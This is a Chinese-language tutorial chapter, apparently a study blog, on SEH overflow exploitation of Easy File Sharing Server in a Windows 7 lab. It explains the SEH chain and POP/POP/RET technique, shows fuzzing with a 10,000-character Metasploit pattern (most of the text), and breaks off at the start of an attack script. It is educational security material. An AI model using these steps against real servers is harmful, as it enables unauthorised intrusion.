第七章 渗透漏洞(高级部分)
随着Windows操作系统的安全性不断提高(尤其是Windows10等系统的推出),这个简单的使用JMP ESP很难实现指令执行数据区域代码的方法,并引入了新的方法——Windows下的结构化异常处理(structed exception handling,SEH)机制。类似于常用的编程try/except或者try/catch这种结构是结构化异常处理。
try: ///执行代码 catch: //代码异常处理
这种结构的代码,意味着先执行try如果执行过程中出现异常,则执行后面的代码except/catch代码(称为异常处理)。
章节目标—— SEH溢出原理 编写基于SEH的渗透模块 使用python编写渗透模块
easy file sharing server-准备漏洞实验
靶机:Windows7 配置:easy file sharing server软件,(装有mona.py的)Immunity Debugger // 软件可以去GitHub下载哦,名字是efssetup_20181.exe;网址:https://github.com/plaint/securityLearning 攻击机:kali linux 2022.03 配置:python编程环境
安装好easy file sharing server软件后界面如下:【tips——建议安装后作为管理员运行
7.1、SEH溢出
异常处理程序用于捕获程序运行过程中产生的异常和错误的代码模块,以确保程序继续运行而不崩溃。Windows操作系统包含默认的异常处理程序。当一个应用程序崩溃时,系统会弹出一个程序错误,需要关闭的窗口。当程序出现异常时,将从堆栈中加载catch
并调用代码地址catch
代码。如果以某种方式覆盖栈中的异常处理程序catch
这个应用程序可以通过代码地址来控制。图7-2给程序提供了很多A,导致溢出后的内存分布。 与第六章相比,使用异常处理程序的内容更多——异常处理程序的地址。目前,新的操作系统具有很强的安全性,可执行的代码和不可执行的数据是分开的,尽管它可以如第六章所述shellcode
放入数据区,但这个shellcode
不能执行。【题外话:我怀疑第六章不能执行,可能是这种情况——结果应该不是。我不知道具体情况,因为我没有用第七章的方法成功~】 但由于异常处理程序的地址仍在可执行的代码区域,我们可以使用这个地址来执行shellcode
。 因为有很多异常,异常处理程序不是一个简单的结构,而是一个异常处理链。当捕获异常时,异常将被移交给SEH
链(如图7-3所示),如果当前的处理程序无法处理此异常,则将交给下一个异常处理程序。SEH
记录由8个字节组成,其中前四个字节是它背后的SEH
异常处理程序的地址,程序的地址catch
块地址。一个应用程序可能有多个异常处理程序,所以一个SEH
用前四个字节记录下来SEH
记录地址。 可以用这个SEH
记录程序的溢出渗透,思路: (1)导致应用程序异常,从而调用异常处理程序。 (2)使用一条POP/POP/RET
指令地址改写异常处理程序的地址,因为需要切换到下一个SEH
记录的地址(catch异常处理程序地址前4个字节)。使用的原因POP/POP/RET
,因为调用catch块的内存地址保存在堆栈中,指向下一个异常处理程序指针的地址是ESP 8
(ESP
是栈顶指针)。因此,两个POP
操作可以将执行重定向下一个SEH
记录地址。 (3)当步骤(1)输入数据引起异常时,下一条已经发生SEH
将记录地址替换为跳转到攻击载荷的记录地址JMP
指令地址。因此,在步骤(2)结束时,程序会跳过指定数量的字节执行shellcode
。 (4)成功跳转shellcode
之后,攻击载荷将成功执行,从而获得系统的管理权限。 如图7-4所示,异常发生时会调用异常处理程序地址(已使用)POP/POP/RET
重写指令地址)。这将导致。POP/POP/RET
执行,并将执行过程重定向下一条SEH
记录的地址(用短跳转指令改写)。JMP
当指令执行时,它会指向shellcode
,在应用程序看来,这个shellcode
只是另一条SEH
记录。
7.2、编写基于SEH渗透模块的要点
easy file sharing server软件处理请求有漏洞—恶意登录请求会导致缓冲区溢出,从而改变SEH
链的地址。 下图是攻击机kali访问网址http://192.168.88.131
注意界面Username
不要填写太多的字符,页面文本框有输入长度限制。
大部分web程序登录通用脚本代码。
import requests host='192.168.88.131' port='80' cookies=dict() data=dict() requests.post('http://' host ':' port '/forum.ghp',cookies=cookies,data=data)
在kali机启动wiresark抓包,一会儿抓登录用户名和密码来看看,哈哈哈~
sudo wireshark
#kali 2022.03自带wireshark,这样就能直接打开啦!
回到火狐浏览器,输入用户名“123
”,密码“abcdefg
”,然后Login!
中文版的话,右键之后选择:追踪流->HTTP流
通过wireshark抓包我们知道,登录提交方法为POST
,提交用户名的地方有两处(如图所示)。
先测试一下easy file sharing server软件是否存在溢出漏洞——向目标程序发送一个足够长的用户名,查看目标程序的反应。
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 10000
#运行结果如下:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M
实例化之前的代码模板
在kali目录下编写一段简单的连接到easy file sharing server的代码并存为SEHattack.py。
import requests
#后面把ip改成192.168.88.132是因为我重装了win7,所以靶机ip变啦~
host='192.168.88.131'
port=80
